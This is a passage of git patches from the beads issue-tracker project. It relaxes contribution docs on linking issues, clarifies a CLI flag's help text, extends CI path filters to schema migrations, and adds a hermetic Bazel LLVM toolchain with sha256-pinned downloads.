runtime.GOOS == "linux" || runtime.GOOS == "darwin" { if owned, known := listenerOwnership(state.PID, state.Port); !owned || !known { t.Errorf("listener on %d is not owned by the started server (PID %d)", state.Port, state.PID) } From 55f96b3f5eb73c5a9fc0145b4d07e34ffd470e25 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Tue, 6 Oct 2026 23:29:09 +0000 Subject: [PATCH 131/325] docs(contributing): recommend issues when they add context instead of requiring one per PR (#7323) #7223 made a linked, documented issue mandatory for every PR. That is the right default for user-visible bugs and changes worth discussing, but it adds ceremony to small, self-explanatory fixes without adding context. AGENTS.md, CONTRIBUTING.md, ROADMAP.md, the PR template and the feature form now advise filing an issue when it adds context and let small fixes go straight to a PR whose description explains the why. End-to-end evidence is still required, and Closes #N is used when an issue exists. No CI check or ruleset enforced the requirement; scripts/pr-preflight.sh already only warns when a PR has no closing issue. Co-authored-by: Claude Opus 5.5 (1M context) --- .github/ISSUE_TEMPLATE/feature_request.yml | 2 +- .github/PULL_REQUEST_TEMPLATE.md | 7 +++--- AGENTS.md | 27 ++++++++++++---------- CONTRIBUTING.md | 17 ++++++++------ ROADMAP.md | 10 ++++---- 5 files changed, 36 insertions(+), 27 deletions(-) diff --git a/.github/ISSUE_TEMPLATE/feature_request.yml b/.github/ISSUE_TEMPLATE/feature_request.yml index b850c6595..5ab476fe9 100644 --- a/.github/ISSUE_TEMPLATE/feature_request.yml +++ b/.github/ISSUE_TEMPLATE/feature_request.yml @@ -5,7 +5,7 @@ body: - type: markdown attributes: value: | - Every PR links a documented issue, and this form collects the context reviewers and future readers need. You can open your PR right after filing; no approval is needed first. Read the [project charter](https://github.com/gastownhall/beads/blob/main/engdocs/PROJECT_CHARTER.md) first — beads owns issue-tracking primitives, not orchestration policy or storage-engine behavior. + This form collects the context reviewers and future readers need for a change worth discussing. You can open your PR right after filing; no approval is needed first. Small, self-explanatory changes can skip the issue and go straight to a PR. Read the [project charter](https://github.com/gastownhall/beads/blob/main/engdocs/PROJECT_CHARTER.md) first — beads owns issue-tracking primitives, not orchestration policy or storage-engine behavior. **Agents filling in this form:** answer each question only from evidence you have. If you cannot answer a question from the evidence, write exactly `NOT_ENOUGH_INFO` instead of guessing. diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md index a689ae380..0631bd36c 100644 --- a/.github/PULL_REQUEST_TEMPLATE.md +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -1,6 +1,7 @@ @@ -17,7 +18,7 @@ Closes # ## Checklist -- [ ] The linked issue documents the problem (reproduction or motivation, impact, risk). +- [ ] The why is documented: in a linked issue (reproduction or motivation, impact, risk) or in this description. - [ ] Tests and lint selected per `engdocs/TESTING.md` pass locally. - [ ] User-facing behavior changes are reflected in `docs/` or the generated CLI reference. - [ ] If an invariant or rule changed, the owning `AGENTS.md` is updated. diff --git a/AGENTS.md b/AGENTS.md index a0cec3a42..5a0eabfff 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -13,15 +13,19 @@ end lists them. `CLAUDE.md` files are symlinks to their sibling `AGENTS.md`. ## How work flows here -GitHub Issues is the public tracker, and every PR links a documented issue. -The issue carries the context reviewers and future readers need: for a bug, -the reproduction, impact, and evidence; for a change, the motivation, impact, -risk, and verification plan. +GitHub Issues is the public tracker. Use an issue when it adds context +reviewers need: a user-visible bug, a behavior or design change worth +discussing, or work that spans several PRs. The issue carries the +reproduction, impact, and evidence for a bug, or the motivation, impact, risk, +and verification plan for a change. Small, self-explanatory changes (typos, +flaky tests, refactors, CI or docs tweaks) can go straight to a PR whose body +explains the why. -1. Find or file the issue with the bug or feature form. It does not need - maintainer approval first; file it before or alongside the PR. -2. Work on a branch, open a PR against `main` whose body says - `Closes #`, and let CI and review run. +1. If the change warrants an issue, find or file one with the bug or feature + form. It does not need maintainer approval first; file it before or + alongside the PR. +2. Work on a branch, open a PR against `main` (its body says + `Closes #` when there is one), and let CI and review run. 3. Maintainers triage issues with `status/needs-triage`, `status/needs-info`, `status/needs-repro`, `status/needs-design`, and `status/accepted` (confirmed); see [CONTRIBUTING.md](CONTRIBUTING.md). @@ -31,10 +35,9 @@ and not a substitute for the GitHub issue. ## Agent contribution policy -- Every PR closes a documented issue. If none exists for your change, file - one with the bug or feature form fields, filling each from evidence and - answering `NOT_ENOUGH_INFO` where the evidence runs out, then link it from - the PR. +- File an issue when the change warrants one (see above). When you do, use + the bug or feature form fields, fill each from evidence, and answer + `NOT_ENOUGH_INFO` where the evidence runs out. - A human reviews and stands behind every issue and PR an agent drafts. Evidence that the change works end-to-end is required; "unit tests pass" alone is not evidence. diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 24d3e573f..3fa5b2b03 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -4,11 +4,14 @@ Thank you for your interest in contributing to bd! This document provides guidel ## Issues and pull requests -GitHub Issues is the public tracker, and every pull request links a -documented issue. The issue is where the context lives: why the change is -needed, what it affects, and how we will know it works. File it with the bug -or feature form before or alongside your pull request; it does not need -maintainer approval first. +GitHub Issues is the public tracker. Use an issue when it adds context +reviewers need: a user-visible bug, a behavior or design change worth +discussing first, or work that spans several pull requests. The issue holds +why the change is needed, what it affects, and how we will know it works; file +it with the bug or feature form before or alongside your pull request, and it +does not need maintainer approval first. Small, self-explanatory changes +(typos, flaky tests, refactors, CI or docs tweaks) can go straight to a pull +request whose description explains the why. ### Triage labels @@ -140,14 +143,14 @@ engine, or expand the database schema when issue metadata is sufficient. ### Workflow -1. Find or file a documented issue (see [Issues and pull requests](#issues-and-pull-requests)) +1. If the change warrants one, find or file an issue (see [Issues and pull requests](#issues-and-pull-requests)) 2. Fork the repository and create a feature branch (`git checkout -b feature/my-feature`) 3. Make your changes 4. Add tests for new functionality 5. Run tests and linter locally 6. Commit your changes with clear messages 7. Push to your fork -8. Open a pull request whose description says `Closes #` +8. Open a pull request that explains the change and says `Closes #` when there is one ### Commit Messages diff --git a/ROADMAP.md b/ROADMAP.md index 214306136..006b5602e 100644 --- a/ROADMAP.md +++ b/ROADMAP.md @@ -10,9 +10,10 @@ and the live state of each item is its tracking issue on GitHub. - **Priority areas get expedited review.** Issues and PRs that advance a priority area below are triaged and reviewed first. -- **Every PR links a documented issue.** To propose work — inside or - outside a priority area — open an issue with the feature form, before or - alongside your PR; see +- **Propose work with an issue when it warrants discussion.** For work + inside or outside a priority area that needs context or a design decision, + open an issue with the feature form, before or alongside your PR; small, + self-explanatory changes can go straight to a PR. See [CONTRIBUTING.md](CONTRIBUTING.md#issues-and-pull-requests). - **Scope.** Proposals must fit the product boundary in [engdocs/PROJECT_CHARTER.md](engdocs/PROJECT_CHARTER.md). @@ -59,7 +60,8 @@ and the live state of each item is its tracking issue on GitHub. - **Goal:** a new contributor, human or agent, finds the rules for the code they are changing next to that code, understands its intent and - invariants, and lands a change with a documented issue and PR. + invariants, and lands a well-explained PR, backed by an issue when the + change warrants one. - **This period:** contributor-only agent instructions and documented-issue intake ([#7223](https://github.com/gastownhall/beads/pull/7223)); per-package `AGENTS.md` files for the storage packages, naming their From 01eb7b83b5b10fa43436b6b310991ebff08f98ca Mon Sep 17 00:00:00 2001 From: Bee Date: Wed, 7 Oct 2026 00:39:07 +0000 Subject: [PATCH 132/325] docs(show): say that --json omits comments entirely without --include-comments (#7132) bd show --json returns comment_count and comments_omitted=true and no comments key. The --include-comments help only said it streams full bodies, which reads as "the default is truncated". A scan that reads .comments over plain --json sees nothing for every issue and reports each one clean, with no error: one audit over 38 issues reported 0 adverse verdicts where the same scan with --include-comments found 4. Say it in the flag help, as bd list --include-comments already does. Help text only; the JSON contract pinned in cmd/bd/protocol is unchanged, and the generated CLI docs stay on the v1.2.2 pin. Co-authored-by: Claude Fable 5.1 --- cmd/bd/show.go | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/cmd/bd/show.go b/cmd/bd/show.go index 37930588a..09079463f 100644 --- a/cmd/bd/show.go +++ b/cmd/bd/show.go @@ -321,7 +321,9 @@ func init() { showCmd.Flags().BoolP("watch", "w", false, "Watch for changes and auto-refresh display") showCmd.Flags().Bool("current", false, "Show the currently active issue (in-progress, hooked, or last touched)") showCmd.Flags().Bool("include-dependents", false, "Stream full dependent issues in JSON output (--json only; may be slow on hub beads)") - showCmd.Flags().Bool("include-comments", false, "Stream full comment bodies in JSON output (--json only; may be slow on issues with many comments)") + showCmd.Flags().Bool("include-comments", false, "Stream full comment bodies in JSON output (--json only; may be slow on issues with many comments). "+ + "Without it the comments field is absent entirely, not truncated: an issue with comments carries "+ + "comment_count and comments_omitted=true, so check those before reading an absent comments field as none.") showCmd.Flags().Bool("brief-deps", false, "Reduce each dependency to its identity fields in JSON output (--json only; drops description, design, notes and acceptance criteria)") showCmd.ValidArgsFunction = issueIDCompletion rootCmd.AddCommand(showCmd) From bc34f1d77ca09ce47db7850e560f1c7149a2c267 Mon Sep 17 00:00:00 2001 From: Bee Date: Wed, 7 Oct 2026 00:40:04 +0000 Subject: [PATCH 133/325] ci: upgrade workflows also run on schema-migration changes (#7150) #7147 gave migration-test, conformance and cross-version-smoke a shared paths filter: non-test Go files plus build inputs. The schema migrations are .up.sql files embedded into the binary (go:embed in internal/storage/schema), so they match no entry. A PR that adds a migration with only a _test.go beside it skipped all three workflows, where before #7147 it ran all three. d26230d0d and 63a471a1e have that shape. Add internal/storage/schema/migrations/** to the shared base in each paths block and in advisoryPathFilterBase, which pins the base across the three files. Co-authored-by: Claude Fable 5.1 --- .github/workflows/cross-version-smoke.yml | 3 +++ .github/workflows/migration-test.yml | 3 +++ scripts/ci_f7c_advisory_test.go | 9 +++++++-- 3 files changed, 13 insertions(+), 2 deletions(-) diff --git a/.github/workflows/cross-version-smoke.yml b/.github/workflows/cross-version-smoke.yml index 21076f00c..938410be8 100644 --- a/.github/workflows/cross-version-smoke.yml +++ b/.github/workflows/cross-version-smoke.yml @@ -22,6 +22,9 @@ on: - 'go.sum' - 'Makefile' - '.buildflags' + # Embedded into the binary (go:embed in internal/storage/schema), so a + # migration-only change is an upgrade-relevant code change. + - 'internal/storage/schema/migrations/**' - '.github/workflows/cross-version-smoke.yml' - 'scripts/upgrade-smoke-test.sh' diff --git a/.github/workflows/migration-test.yml b/.github/workflows/migration-test.yml index f35d686bf..f8dd091f1 100644 --- a/.github/workflows/migration-test.yml +++ b/.github/workflows/migration-test.yml @@ -13,6 +13,9 @@ on: - 'go.sum' - 'Makefile' - '.buildflags' + # Embedded into the binary (go:embed in internal/storage/schema), so a + # migration-only change is an upgrade-relevant code change. + - 'internal/storage/schema/migrations/**' - '.github/workflows/migration-test.yml' - 'scripts/migration-test/**' - 'scripts/migrate-legacy-to-current.sh' diff --git a/scripts/ci_f7c_advisory_test.go b/scripts/ci_f7c_advisory_test.go index 52286f66d..668756030 100644 --- a/scripts/ci_f7c_advisory_test.go +++ b/scripts/ci_f7c_advisory_test.go @@ -38,8 +38,9 @@ var advisoryPathFilteredWorkflows = []string{ } // advisoryPathFilterBase is the shared prefix of the allowlist: any non-test -// Go change or build input. It must appear, in this order, at the start of -// each of advisoryPathFilteredWorkflows' pull_request.paths list. +// Go change, build input, or embedded schema migration. It must appear, in +// this order, at the start of each of advisoryPathFilteredWorkflows' +// pull_request.paths list. var advisoryPathFilterBase = []string{ "**.go", "!**_test.go", @@ -47,6 +48,10 @@ var advisoryPathFilterBase = []string{ "go.sum", "Makefile", ".buildflags", + // The .up.sql files are go:embed'd by internal/storage/schema, so they + // change upgrade behavior without matching "**.go"; a migration that + // ships with only a _test.go beside it would otherwise skip all three. + "internal/storage/schema/migrations/**", } // advisoryPathFilterOwnEntries is each workflow's own file/script additions, From cb0dcbecf22df69c2560862035e0ddbfd9a58687 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 7 Oct 2026 00:59:11 +0000 Subject: [PATCH 134/325] ci(bazel): hermetic LLVM C toolchain and pinned rbe_worker exec platform (#7325) beads' MODULE.bazel registered no C toolchain, so -race and cgo builds used the autodetected local_config_cc of the machine that ran analysis. From a client with lld installed (cherry) every remote cgo/-race link failed with "collect2: fatal error: cannot find 'ld'" (the workers have no lld), and the host gcc path, lld availability and gcc-version inputs keyed every Go action to the client machine. Port gastownhall/gascity's design: - toolchains_llvm 1.11.0 with a pinned LLVM 22.1.8 slice (third_party/cc_toolchain/llvm_dist.bzl) and a sysroot of sha256-pinned Ubuntu 24.04 debs (deb_sysroot.bzl), without ICU (ICU policy); stock toolchains_llvm LLVM on other hosts. - .bazelrc: BAZEL_DO_NOT_DETECT_CPP_TOOLCHAIN=1 so nothing falls back to the host compiler. - //platforms:rbe_worker, selected unconditionally, whose worker-env exec property is the sha256 of tools/rbe/worker-env.txt (a copy of the shared rbe-west OSS pool's manifest, owned by gascity), so the worker host is in every action key. - scripts/bazel_hermetic_cc_test.go and scripts/rbe_worker_env_test.go guard both. Refs: ga-96smfk.20 Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelrc | 12 + BUILD.bazel | 2 + MODULE.bazel | 143 ++++++++++++ MODULE.bazel.lock | 44 ++++ platforms/BUILD.bazel | 49 ++++ scripts/BUILD.bazel | 2 + scripts/bazel_hermetic_cc_test.go | 273 +++++++++++++++++++++++ scripts/rbe_worker_env_test.go | 119 ++++++++++ third_party/cc_toolchain/BUILD.bazel | 25 +++ third_party/cc_toolchain/deb_sysroot.bzl | 80 +++++++ third_party/cc_toolchain/llvm_dist.bzl | 54 +++++ tools/rbe/worker-env.txt | 38 ++++ 12 files changed, 841 insertions(+) create mode 100644 platforms/BUILD.bazel create mode 100644 scripts/bazel_hermetic_cc_test.go create mode 100644 scripts/rbe_worker_env_test.go create mode 100644 third_party/cc_toolchain/BUILD.bazel create mode 100644 third_party/cc_toolchain/deb_sysroot.bzl create mode 100644 third_party/cc_toolchain/llvm_dist.bzl create mode 100644 tools/rbe/worker-env.txt diff --git a/.bazelrc b/.bazelrc index 34695267f..cc0c1affb 100644 --- a/.bazelrc +++ b/.bazelrc @@ -3,6 +3,18 @@ # .bazelversion. common --enable_bzlmod common --color=no +# C/C++ (and so cgo, -race and the Go stdlib) builds only with MODULE.bazel's +# pinned LLVM toolchain: no host-detected local_config_cc to fall back to, +# which would key actions to the client's gcc and lld and fail remote links +# on workers without lld (scripts/bazel_hermetic_cc_test.go). +common --repo_env=BAZEL_DO_NOT_DETECT_CPP_TOOLCHAIN=1 + +# The pinned remote-worker host in every action key: //platforms:rbe_worker's +# worker-env exec property is the sha256 of tools/rbe/worker-env.txt, and +# rbe-west's schedulers run an action only on a worker that measured that +# host (platforms/BUILD.bazel). Key-affecting, so unconditional: local, +# fork-cache and remote runs hash alike. +build --extra_execution_platforms=//platforms:rbe_worker # ICU policy (engdocs/ICU-POLICY.md): build go-mysql-server with its pure-Go # regex backend so no target links libicu. MODULE.bazel carries the matching diff --git a/BUILD.bazel b/BUILD.bazel index ee65c07ea..dd3c4b4a1 100644 --- a/BUILD.bazel +++ b/BUILD.bazel @@ -349,6 +349,7 @@ filegroup( "//issueops:repo_files", "//journalops:repo_files", "//memoryops:repo_files", + "//platforms:repo_files", "//plugins/beads:repo_files", "//schema:repo_files", "//scripts:repo_files", @@ -366,6 +367,7 @@ filegroup( "//test/conformance:repo_files", "//test/docsync:repo_files", "//test/testmainconvention:repo_files", + "//third_party/cc_toolchain:repo_files", "//third_party/patches:repo_files", "//tools/bazel:repo_files", "//tools/docsmint:repo_files", diff --git a/MODULE.bazel b/MODULE.bazel index 91f6a2f42..186368330 100644 --- a/MODULE.bazel +++ b/MODULE.bazel @@ -7,6 +7,149 @@ bazel_dep(name = "platforms", version = "1.1.0") bazel_dep(name = "rules_go", version = "0.63.0") bazel_dep(name = "gazelle", version = "0.53.0") bazel_dep(name = "rules_shell", version = "0.6.1") +bazel_dep(name = "toolchains_llvm", version = "1.11.0") + +# Loaded by @llvm_dist_linux_x86_64's BUILD file (toolchains_llvm's template). +bazel_dep(name = "rules_cc", version = "0.2.17") + +# Hermetic C/C++ toolchain, ported from gastownhall/gascity. rules_go builds +# the Go stdlib under -race and every cgo package (mattn/go-sqlite3, gozstd, +# ...) with the registered C toolchain, and every Go compile depends on the +# stdlib, so a host-detected toolchain (local_config_cc: CC=/usr/bin/gcc, +# -fuse-ld=lld only where the CLIENT has lld, gcc-version-specific generated +# inputs) keys those actions to the machine that ran the analysis and fails +# remotely on workers without lld. Instead: LLVM pinned by sha256, plus a +# sysroot of pinned Ubuntu 24.04 packages (the RBE workers' release, so +# binaries load the same glibc and libstdc++ there), byte-identical on every +# Linux x86_64 host. No ICU: beads builds go-mysql-server with its pure-Go +# regex backend (engdocs/ICU-POLICY.md), so nothing may link libicu. .bazelrc +# turns host detection off so nothing falls back to the host compiler; +# scripts/bazel_hermetic_cc_test.go guards both. +deb_sysroot = use_repo_rule("//third_party/cc_toolchain:deb_sysroot.bzl", "deb_sysroot") + +deb_sysroot( + name = "cc_sysroot_noble_amd64", + mirrors = [ + "https://snapshot.ubuntu.com/ubuntu/20261001T000000Z/", + "https://archive.ubuntu.com/ubuntu/", + ], + packages = { + "pool/main/g/gcc-13/libgcc-13-dev_13.3.0-6ubuntu2~24.04.1_amd64.deb": "cd689db2691edaa10f37329307292796bb599e722e0505c79e14caaa1fe9a93a", + "pool/main/g/gcc-13/libstdc++-13-dev_13.3.0-6ubuntu2~24.04.1_amd64.deb": "ee5633e863e19c3381ed97842ce35ed32ede96a3d1ae4e94c051d3036fe21347", + "pool/main/g/gcc-14/libgcc-s1_14.2.0-4ubuntu2~24.04.1_amd64.deb": "aa7fadbe33b78bcf99885318040601c550c208929565b179891d9a3cc2aa68cd", + "pool/main/g/gcc-14/libstdc++6_14.2.0-4ubuntu2~24.04.1_amd64.deb": "a51f8de7829211db961a31f02158058ad1a95f92ac6d0a5dff6350e2821c54c0", + "pool/main/g/glibc/libc6-dev_2.39-0ubuntu8.9_amd64.deb": "e13d5fcc1b2a86f75bca8e0026a8e39f24fe97ca86e92be79991f8697eb1306f", + "pool/main/g/glibc/libc6_2.39-0ubuntu8.9_amd64.deb": "ff5557d99b51f761c4b7c92368b9cc45565eda17df9bf9eb4b134d09825008be", + "pool/main/l/linux/linux-libc-dev_6.8.0-146.146_amd64.deb": "1a7bb04132d01cd14bea3d615e5861096ca1f70c4659902eb14b36c21993cadc", + }, + remove = [ + "etc", + "usr/bin", + "usr/sbin", + "usr/share", + "usr/lib/x86_64-linux-gnu/gconv", + "usr/lib/gcc/x86_64-linux-gnu/13/crtoffload*", + "usr/lib/gcc/x86_64-linux-gnu/13/lib*san*", + "usr/lib/gcc/x86_64-linux-gnu/13/libatomic*", + "usr/lib/gcc/x86_64-linux-gnu/13/libbacktrace*", + "usr/lib/gcc/x86_64-linux-gnu/13/libgcov*", + "usr/lib/gcc/x86_64-linux-gnu/13/libgomp*", + "usr/lib/gcc/x86_64-linux-gnu/13/libitm*", + "usr/lib/gcc/x86_64-linux-gnu/13/libquadmath*", + "usr/lib/gcc/x86_64-linux-gnu/13/libstdc++*.a", + ], +) + +LLVM_VERSION = "22.1.8" + +llvm_dist = use_repo_rule("//third_party/cc_toolchain:llvm_dist.bzl", "llvm_dist") + +llvm_dist( + name = "llvm_dist_linux_x86_64", + llvm_version = LLVM_VERSION, + members = [ + "bin/clang", + "bin/clang++", + "bin/clang-22", + "bin/clang-cpp", + "bin/ld.lld", + "bin/ld64.lld", + "bin/lld", + "bin/llvm-ar", + "bin/llvm-as", + "bin/llvm-cov", + "bin/llvm-install-name-tool", + "bin/llvm-nm", + "bin/llvm-objcopy", + "bin/llvm-objdump", + "bin/llvm-profdata", + "bin/llvm-ranlib", + "bin/llvm-readelf", + "bin/llvm-readobj", + "bin/llvm-strip", + "bin/llvm-symbolizer", + "bin/wasm-ld", + "include/c++", + "include/x86_64-unknown-linux-gnu", + "lib/clang/22/include", + "lib/clang/22/lib/x86_64-unknown-linux-gnu/clang_rt.crtbegin.o", + "lib/clang/22/lib/x86_64-unknown-linux-gnu/clang_rt.crtend.o", + "lib/clang/22/lib/x86_64-unknown-linux-gnu/libclang_rt.builtins.a", + # `bazel coverage` links cgo binaries with -fprofile-instr-generate, + # which pulls in compiler-rt's profile runtime (~170KB). + "lib/clang/22/lib/x86_64-unknown-linux-gnu/libclang_rt.profile.a", + ], + sha256 = "df0e1ecf16caf3489a272a5eea4eec9b0d82878f6477fa309504f918a0006384", + strip_prefix = "LLVM-22.1.8-Linux-X64", + stub_tools = [ + "clang-format", + "clang-tidy", + "clangd", + "llvm-dwp", + ], + urls = ["https://github.com/llvm/llvm-project/releases/download/llvmorg-22.1.8/LLVM-22.1.8-Linux-X64.tar.xz"], +) + +# Every other host (macOS arm64, Linux arm64) runs toolchains_llvm's stock +# LLVM_VERSION release for its platform, pinned by sha256 in toolchains_llvm's +# distribution table and fetched only there. Once any toolchain_root is set, +# toolchains_llvm creates no stock distribution of its own and fails every +# build on a host no root covers. Not hermetic there: no sysroot, so cgo +# uses the host's headers and libraries, as before. +llvm_host_dist = use_repo_rule("@toolchains_llvm//toolchain:rules.bzl", "llvm") + +llvm_host_dist( + name = "llvm_dist_host", + llvm_version = LLVM_VERSION, + # The bare rule reads the per-host dict; llvm_toolchain's macro would + # fill it in from llvm_version. + llvm_versions = {"": LLVM_VERSION}, +) + +llvm = use_extension("@toolchains_llvm//toolchain/extensions:llvm.bzl", "llvm") +llvm.toolchain( + name = "llvm_toolchain", + llvm_version = LLVM_VERSION, + # The sysroot's libstdc++, linked dynamically as host-gcc builds did. + stdlib = {"linux-x86_64": "dynamic-stdc++"}, +) +llvm.toolchain_root( + name = "llvm_toolchain", + label = "@llvm_dist_linux_x86_64//:BUILD.bazel", + targets = ["linux-x86_64"], +) +llvm.toolchain_root( + name = "llvm_toolchain", + label = "@llvm_dist_host//:BUILD.bazel", +) +llvm.sysroot( + name = "llvm_toolchain", + label = "@cc_sysroot_noble_amd64//:sysroot", + targets = ["linux-x86_64"], +) +use_repo(llvm, "llvm_toolchain") + +register_toolchains("@llvm_toolchain//:all") go_sdk = use_extension("@rules_go//go:extensions.bzl", "go_sdk") go_sdk.download( diff --git a/MODULE.bazel.lock b/MODULE.bazel.lock index d4d434b48..4e781c838 100644 --- a/MODULE.bazel.lock +++ b/MODULE.bazel.lock @@ -20,6 +20,10 @@ "https://bcr.bazel.build/modules/apple_support/1.21.1/MODULE.bazel": "5809fa3efab15d1f3c3c635af6974044bac8a4919c62238cce06acee8a8c11f1", "https://bcr.bazel.build/modules/apple_support/1.24.2/MODULE.bazel": "0e62471818affb9f0b26f128831d5c40b074d32e6dda5a0d3852847215a41ca4", "https://bcr.bazel.build/modules/apple_support/1.24.2/source.json": "2c22c9827093250406c5568da6c54e6fdf0ef06238def3d99c71b12feb057a8d", + "https://bcr.bazel.build/modules/aspect_bazel_lib/2.14.0/MODULE.bazel": "2b31ffcc9bdc8295b2167e07a757dbbc9ac8906e7028e5170a3708cecaac119f", + "https://bcr.bazel.build/modules/aspect_bazel_lib/2.19.3/MODULE.bazel": "253d739ba126f62a5767d832765b12b59e9f8d2bc88cc1572f4a73e46eb298ca", + "https://bcr.bazel.build/modules/aspect_bazel_lib/2.19.3/source.json": "ffab9254c65ba945f8369297ad97ca0dec213d3adc6e07877e23a48624a8b456", + "https://bcr.bazel.build/modules/aspect_bazel_lib/2.8.1/MODULE.bazel": "812d2dd42f65dca362152101fbec418029cc8fd34cbad1a2fde905383d705838", "https://bcr.bazel.build/modules/bazel_features/1.1.0/MODULE.bazel": "cfd42ff3b815a5f39554d97182657f8c4b9719568eb7fded2b9135f084bf760b", "https://bcr.bazel.build/modules/bazel_features/1.1.1/MODULE.bazel": "27b8c79ef57efe08efccbd9dd6ef70d61b4798320b8d3c134fd571f78963dbcd", "https://bcr.bazel.build/modules/bazel_features/1.10.0/MODULE.bazel": "f75e8807570484a99be90abcd52b5e1f390362c258bcb73106f4544957a48101", @@ -35,10 +39,13 @@ "https://bcr.bazel.build/modules/bazel_features/1.3.0/MODULE.bazel": "cdcafe83ec318cda34e02948e81d790aab8df7a929cec6f6969f13a489ccecd9", "https://bcr.bazel.build/modules/bazel_features/1.30.0/MODULE.bazel": "a14b62d05969a293b80257e72e597c2da7f717e1e69fa8b339703ed6731bec87", "https://bcr.bazel.build/modules/bazel_features/1.33.0/MODULE.bazel": "8b8dc9d2a4c88609409c3191165bccec0e4cb044cd7a72ccbe826583303459f6", + "https://bcr.bazel.build/modules/bazel_features/1.34.0/MODULE.bazel": "e8475ad7c8965542e0c7aac8af68eb48c4af904be3d614b6aa6274c092c2ea1e", "https://bcr.bazel.build/modules/bazel_features/1.36.0/MODULE.bazel": "596cb62090b039caf1cad1d52a8bc35cf188ca9a4e279a828005e7ee49a1bec3", + "https://bcr.bazel.build/modules/bazel_features/1.38.0/MODULE.bazel": "f9b8a9c890ebd216b4049fd12a31d3c2602e3403c7af636b04fbbd7453edc9c9", "https://bcr.bazel.build/modules/bazel_features/1.4.1/MODULE.bazel": "e45b6bb2350aff3e442ae1111c555e27eac1d915e77775f6fdc4b351b758b5d7", "https://bcr.bazel.build/modules/bazel_features/1.42.1/MODULE.bazel": "275a59b5406ff18c01739860aa70ad7ccb3cfb474579411decca11c93b951080", "https://bcr.bazel.build/modules/bazel_features/1.42.1/source.json": "fcd4396b2df85f64f2b3bb436ad870793ecf39180f1d796f913cc9276d355309", + "https://bcr.bazel.build/modules/bazel_features/1.9.0/MODULE.bazel": "885151d58d90d8d9c811eb75e3288c11f850e1d6b481a8c9f766adee4712358b", "https://bcr.bazel.build/modules/bazel_features/1.9.1/MODULE.bazel": "8f679097876a9b609ad1f60249c49d68bfab783dd9be012faf9d82547b14815a", "https://bcr.bazel.build/modules/bazel_skylib/1.0.3/MODULE.bazel": "bcb0fd896384802d1ad283b4e4eb4d718eebd8cb820b0a2c3a347fb971afd9d8", "https://bcr.bazel.build/modules/bazel_skylib/1.1.1/MODULE.bazel": "1add3e7d93ff2e6998f9e118022c84d163917d912f5afafb3058e3d2f1545b5e", @@ -56,6 +63,8 @@ "https://bcr.bazel.build/modules/bazel_skylib/1.8.2/source.json": "34a3c8bcf233b835eb74be9d628899bb32999d3e0eadef1947a0a562a2b16ffb", "https://bcr.bazel.build/modules/buildozer/8.5.1/MODULE.bazel": "a35d9561b3fc5b18797c330793e99e3b834a473d5fbd3d7d7634aafc9bdb6f8f", "https://bcr.bazel.build/modules/buildozer/8.5.1/source.json": "e3386e6ff4529f2442800dee47ad28d3e6487f36a1f75ae39ae56c70f0cd2fbd", + "https://bcr.bazel.build/modules/gawk/5.3.2.bcr.1/MODULE.bazel": "cdf8cbe5ee750db04b78878c9633cc76e80dcf4416cbe982ac3a9222f80713c8", + "https://bcr.bazel.build/modules/gawk/5.3.2.bcr.1/source.json": "fa7b512dfcb5eafd90ce3959cf42a2a6fe96144ebbb4b3b3928054895f2afac2", "https://bcr.bazel.build/modules/gazelle/0.32.0/MODULE.bazel": "b499f58a5d0d3537f3cf5b76d8ada18242f64ec474d8391247438bf04f58c7b8", "https://bcr.bazel.build/modules/gazelle/0.33.0/MODULE.bazel": "a13a0f279b462b784fb8dd52a4074526c4a2afe70e114c7d09066097a46b3350", "https://bcr.bazel.build/modules/gazelle/0.34.0/MODULE.bazel": "abdd8ce4d70978933209db92e436deb3a8b737859e9354fb5fd11fb5c2004c8a", @@ -70,12 +79,17 @@ "https://bcr.bazel.build/modules/googletest/1.15.2/MODULE.bazel": "6de1edc1d26cafb0ea1a6ab3f4d4192d91a312fd2d360b63adaa213cd00b2108", "https://bcr.bazel.build/modules/googletest/1.17.0/MODULE.bazel": "dbec758171594a705933a29fcf69293d2468c49ec1f2ebca65c36f504d72df46", "https://bcr.bazel.build/modules/googletest/1.17.0/source.json": "38e4454b25fc30f15439c0378e57909ab1fd0a443158aa35aec685da727cd713", + "https://bcr.bazel.build/modules/jq.bzl/0.1.0/MODULE.bazel": "2ce69b1af49952cd4121a9c3055faa679e748ce774c7f1fda9657f936cae902f", + "https://bcr.bazel.build/modules/jq.bzl/0.1.0/source.json": "746bf13cac0860f091df5e4911d0c593971cd8796b5ad4e809b2f8e133eee3d5", "https://bcr.bazel.build/modules/jsoncpp/1.9.5/MODULE.bazel": "31271aedc59e815656f5736f282bb7509a97c7ecb43e927ac1a37966e0578075", "https://bcr.bazel.build/modules/jsoncpp/1.9.6/MODULE.bazel": "2f8d20d3b7d54143213c4dfc3d98225c42de7d666011528dc8fe91591e2e17b0", "https://bcr.bazel.build/modules/jsoncpp/1.9.6/source.json": "a04756d367a2126c3541682864ecec52f92cdee80a35735a3cb249ce015ca000", "https://bcr.bazel.build/modules/libpfm/4.11.0/MODULE.bazel": "45061ff025b301940f1e30d2c16bea596c25b176c8b6b3087e92615adbd52902", + "https://bcr.bazel.build/modules/mboworks_bzl/0.5.1/MODULE.bazel": "20c921aded4f4e00a6128dad47a843371c196ba8987474c11c8ba7b9da8c16f1", + "https://bcr.bazel.build/modules/mboworks_bzl/0.5.1/source.json": "3d9086bb203475113a16afb0ca0c9b97fdb37fc6e5a62b604b60ffc2450dc8c5", "https://bcr.bazel.build/modules/nlohmann_json/3.6.1/MODULE.bazel": "6f7b417dcc794d9add9e556673ad25cb3ba835224290f4f848f8e2db1e1fca74", "https://bcr.bazel.build/modules/nlohmann_json/3.6.1/source.json": "f448c6e8963fdfa7eb831457df83ad63d3d6355018f6574fb017e8169deb43a9", + "https://bcr.bazel.build/modules/package_metadata/0.0.2/MODULE.bazel": "fb8d25550742674d63d7b250063d4580ca530499f045d70748b1b142081ebb92", "https://bcr.bazel.build/modules/package_metadata/0.0.3/MODULE.bazel": "77890552ecea9e284b5424c9de827a58099348763a4359e975c359a83d4faa83", 